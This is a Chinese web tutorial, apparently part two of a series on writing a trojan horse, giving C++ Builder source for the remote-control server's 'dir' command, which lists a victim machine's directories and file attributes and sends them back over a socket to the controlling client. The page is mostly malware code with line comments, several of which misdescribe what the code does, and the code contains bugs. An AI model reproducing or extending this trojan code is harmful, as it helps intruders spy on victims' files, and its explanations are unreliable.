注册 | 登录
收藏 | 帮助
热门文章
编辑推荐
相关文章  
木马病毒清除的通用解法
网络安全之特洛伊木马攻防战略
用WinRAR解析木马病毒的捆绑原理
巧妙分离带木马的文件
小知识:什么叫木马病毒
一个显为人知的木马随程序启动的
“隐形”木马启动方式揭秘
上网无忧 用木马清道夫扫清病毒障
特络伊木马如何利用文件关联和设
深入揭秘木马是如何盗取QQ密码的
您现在的位置: 顶尖设计 >> IT学院 >> 网络安全 >> 病毒防范 >> 文章正文
木马是如何编写的(二)
作者:佚名  来源:不详  点击:  更新:2006-12-20
简介:

这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰:

{

else if(temp.SubString(0,3)=="dir")

{

//如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

//得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

//从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

//如果目录名为空

Socket->SendText("Fail By Open DIR's Name");

//返回“Fail By Open DIR's Name”信息

goto END;

//跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

//如果打开目录出错

Socket->SendText("Fail by your DIR's name!");

//返回“Fail By Your DIR's Name”信息

goto END;

//跳到END

}

times_of_try=0;

while(fp==NULL)

{

//如果指针是NULL

fp=fopen(TempFile,"w+");

//就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

//计数器加1

if(times_of_try>100)

{

//如果已经试了100次了,仍未成功(真有耐心!)

Socket->SendText("Fail By Open File");

//就发回“Fail By Open File”的错误信息

goto END;

//并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

//如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

//如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();

//加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent->d_name).c_str();

//如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

//得到目标文件的访问属性

if (attrib & FA_RDONLY)

//“&”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

//将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

//失败则写入空格

if (attrib & FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

//将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

//将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_ARCH)

fwrite("A",sizeof(char),1,fp);

//将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_DIREC)

fwrite("

",sizeof(char),9,fp);

//将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

//失败则写入空格

fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);

//将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

//写入换行

}

fclose(fp);

//关闭文件

closedir(dir);

//关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

//打开Win369.bat准备读

times_of_try=times_of_try+1;

//计数器加1

if(times_of_try>100)

{

//如果已经试了100次了,仍未成功

Socket->SendText("Fail By Open File");

//就发回“Fail By Open File”的错误信息

goto END;

//并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content='\0';

//定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

//从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

//Return_Text变量加上刚才的300个字符

for(int i=0;i<300;i++) temp_content='\0';

Read_Num=fread(temp_content,1,300,fp1);

//重复

};

Return_Text=Return_Text+temp_content;

//Return_Text变量加上刚才的300个字符

fclose(fp1);

//关闭目标文件

Socket->SendText(Return_Text);

//返回Return_Text变量的内容

}

}




  • 上一篇文章:
  • 下一篇文章:
  • 分享此文:该页面添加到 Mister Wong 添加到雅虎Yahoo!收藏 Add to:Del.icio.us Post to Furl Digg this 添加到Google书签 reddit spurl blogmarks 365Key 评论  收藏  分享  打印
     我来说两句
    姓名:       验证码:   
    主页: 
    评分: 1分 2分 3分 4分 5分
    本频道近期热评文章:
      关于我们 | 联系我们 | 站点地图 | 广告投放 | 友情链接 | 在线留言 | 版权申明
    版权所有 © 2004-2007 顶尖设计(bobd.cn)
    未经授权禁止转载,摘编,复制本站内容或建立镜像. 沪ICP备07504942号 
    网络110
    报警服务